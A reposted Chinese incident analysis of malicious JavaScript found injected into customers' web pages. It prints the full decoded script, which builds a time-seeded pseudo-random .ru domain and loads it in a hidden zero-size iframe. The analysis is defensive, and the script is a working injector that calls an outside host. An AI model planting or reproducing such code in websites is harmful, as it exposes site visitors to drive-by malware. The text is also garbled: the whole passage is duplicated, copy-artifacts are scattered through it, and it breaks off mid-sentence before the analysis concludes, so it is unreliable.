您现在的位置是:网站首页> 编程资料编程资料
恶意js脚本注入访问伪随机域名的实例解析_漏洞分析_网络安全_
2023-05-24
225人已围观
简介 恶意js脚本注入访问伪随机域名的实例解析_漏洞分析_网络安全_
我们的服务器又出入侵事故了。有客户的html 网页底部被插入了一段js 脚本,
导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链SEO 中这是常见的手法,
但奇特的地方就在于我们这次捕获到的代码,会根据当前的时间戳生成一个(伪)随机域名,
然后定时访问。
看上去目的并非是SEO。
一、攻击分析
被插入的javascript 在此——
运维拿到这段代码的时候,都不知道它是要做什么。
在这里不得不吐槽一下,为啥我们的运维都不懂代码……我放到Chrome 里decode 出来,
是这样子的
function nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if (test > 0) {
this.seed = test;
} else {
this.seed = test + this.M;
}
return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = d.getHours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)
+ (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this;
}
function createRandomNumber(r, Min, Max) {
return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone) {
var rand = new RandomNumberGenerator(unix);
var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
var str = '';
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}
return str + '.' + zone;
}
setTimeout(function () {
try {
if (typeof iframeWasCreated == "undefined") {
iframeWasCreated = true;
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
ifrm.style.width = "0px";
ifrm.style.height = "0px";
ifrm.style.visibility = "hidden";
document.body.appendChild(ifrm);
}
} catch (e) {}
}, 500);
于是大意可知,它内置了一个随机域名生成函数,有趣的事情。
伪随机数发生器基于unix 时间戳,说它是“伪”随机,是因为这并非真正意义上的随机,
我们可以根据时间计算出它所产生的结果。
事实上,它最终每12 个小时就会生成一个类似ctonxidjqijsnzny.ruznycugibim
导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链SEO 中这是常见的手法,
但奇特的地方就在于我们这次捕获到的代码,会根据当前的时间戳生成一个(伪)随机域名,
然后定时访问。
看上去目的并非是SEO。
一、攻击分析
被插入的javascript 在此——
复制代码
代码如下:运维拿到这段代码的时候,都不知道它是要做什么。
在这里不得不吐槽一下,为啥我们的运维都不懂代码……我放到Chrome 里decode 出来,
是这样子的
复制代码
代码如下:function nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if (test > 0) {
this.seed = test;
} else {
this.seed = test + this.M;
}
return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = d.getHours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)
+ (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this;
}
function createRandomNumber(r, Min, Max) {
return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone) {
var rand = new RandomNumberGenerator(unix);
var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
var str = '';
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}
return str + '.' + zone;
}
setTimeout(function () {
try {
if (typeof iframeWasCreated == "undefined") {
iframeWasCreated = true;
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
ifrm.style.width = "0px";
ifrm.style.height = "0px";
ifrm.style.visibility = "hidden";
document.body.appendChild(ifrm);
}
} catch (e) {}
}, 500);
于是大意可知,它内置了一个随机域名生成函数,有趣的事情。
伪随机数发生器基于unix 时间戳,说它是“伪”随机,是因为这并非真正意义上的随机,
我们可以根据时间计算出它所产生的结果。
事实上,它最终每12 个小时就会生成一个类似ctonxidjqijsnzny.ruznycugibim
相关内容
- 时时送订单系统后台登陆框post注入的方法介绍以及修复方案_漏洞分析_网络安全_
- 中关村在线博客子站SQL注入及修复方案_漏洞分析_网络安全_
- Kesion cms注入漏洞分析及其修复方案_漏洞分析_网络安全_
- 淇晨科技网站管理系統默认漏洞的分析_漏洞分析_网络安全_
- Uread阅读器拒绝服务漏洞的分析与解决_漏洞分析_网络安全_
- 管家婆软件官方网存在SQL注射及弱口令的漏洞分析_漏洞分析_网络安全_
- 傲游浏览器官网存在SQL注射漏洞分析_漏洞分析_网络安全_
- 建站之星全版本后台通杀getshell的解析与解决方法_漏洞分析_网络安全_
- 新浪微博及招聘的两个XSS漏洞分析与解决方法_漏洞分析_网络安全_
- 新浪微博COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]_漏洞分析_网络安全_